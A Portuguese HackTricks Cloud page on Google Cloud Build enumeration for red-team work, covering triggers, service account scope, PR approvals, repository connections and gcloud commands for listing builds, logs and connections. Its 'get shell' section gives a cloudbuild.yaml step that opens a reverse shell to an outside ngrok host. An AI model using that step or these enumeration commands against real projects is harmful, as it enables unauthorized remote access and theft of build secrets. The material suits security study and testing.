GCP - Cloud Build Enum

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Confira os planos de assinatura!
Junte-se ao 💬 grupo no Discord ou ao grupo no telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.

Informações Básicas

Google Cloud Build é uma plataforma CI/CD gerenciada que automatiza processos de build e lançamento de software, integrando-se com repositórios de código-fonte e suportando uma ampla gama de linguagens de programação. Ele permite que os desenvolvedores construam, testem e implantem código automaticamente enquanto oferece flexibilidade para personalizar etapas e fluxos de trabalho de build.

Cada Cloud Build Trigger está relacionado a um Cloud Repository ou diretamente conectado a um repositório externo (Github, Bitbucket e Gitlab).

Não consegui ver nenhuma maneira de roubar o token do Github/Bitbucket daqui ou dos Cloud Repositories porque quando o repositório é baixado, ele é acessado via uma URL https://source.cloud.google.com/ e o Github não é acessado pelo cliente.

Eventos

O Cloud Build pode ser acionado se:

Push para um branch: Especificar o branch
Push de uma nova tag: Especificar a tag
Pull request: Especificar o branch que recebe o PR
Invocação Manual
Mensagem Pub/Sub: Especificar o tópico
Evento de Webhook: Exporá uma URL HTTPS e a solicitação deve ser autenticada com um segredo

Execução

Existem 3 opções:

Um yaml/json especificando os comandos a serem executados. Normalmente: /cloudbuild.yaml
Apenas um que pode ser especificado "inline" no console web e no cli
Opção mais comum
Relevante para acesso não autenticado
Um Dockerfile para build
Um Buildpack para build

Permissões SA

A Service Account tem o escopo cloud-platform, então pode usar todos os privilégios. Se nenhuma SA for especificada (como ao fazer submit) a SA padrão <proj-number>@cloudbuild.gserviceaccount.com será usada.

Por padrão, nenhuma permissão é dada, mas é bastante fácil conceder algumas:

Aprovações

É possível configurar um Cloud Build para requerer aprovações para execuções de build (desativado por padrão).

Aprovações de PR

Quando o trigger é PR, porque qualquer pessoa pode fazer PRs para repositórios públicos, seria muito perigoso simplesmente permitir a execução do trigger com qualquer PR. Portanto, por padrão, a execução será automática apenas para proprietários e colaboradores, e para executar o trigger com PRs de outros usuários, um proprietário ou colaborador deve comentar /gcbrun.

Conexões & Repositórios

Conexões podem ser criadas sobre:

GitHub: Mostrará um prompt OAuth pedindo permissões para obter um token do Github que será armazenado dentro do Secret Manager.
GitHub Enterprise: Pedirá para instalar um GithubApp. Um token de autenticação do seu host GitHub Enterprise será criado e armazenado neste projeto como um segredo do Secret Manager.
GitLab / Enterprise: Você precisa fornecer o token de acesso à API e o token de acesso de leitura à API que serão armazenados no Secret Manager.

Uma vez que uma conexão é gerada, você pode usá-la para vincular repositórios aos quais a conta do Github tem acesso.

Esta opção está disponível através do botão:

Note que repositórios conectados com este método estão disponíveis apenas em Triggers usando a 2ª geração.

Conectar um Repositório

Isso não é o mesmo que uma conexão. Isso permite diferentes maneiras de obter acesso a um repositório do Github ou Bitbucket, mas não gera um objeto de conexão, mas gera um objeto de repositório (de 1ª geração).

Esta opção está disponível através do botão:

Armazenamento

Às vezes, o Cloud Build gerará um novo armazenamento para armazenar os arquivos para o trigger. Isso acontece, por exemplo, no exemplo que o GCP oferece com:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Um bucket de Storage chamado security-devbox_cloudbuild é criado para armazenar um .tgz com os arquivos a serem usados.

Obter shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Instalar gcloud dentro do cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeração

Você pode encontrar informações sensíveis em configurações de build e logs.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done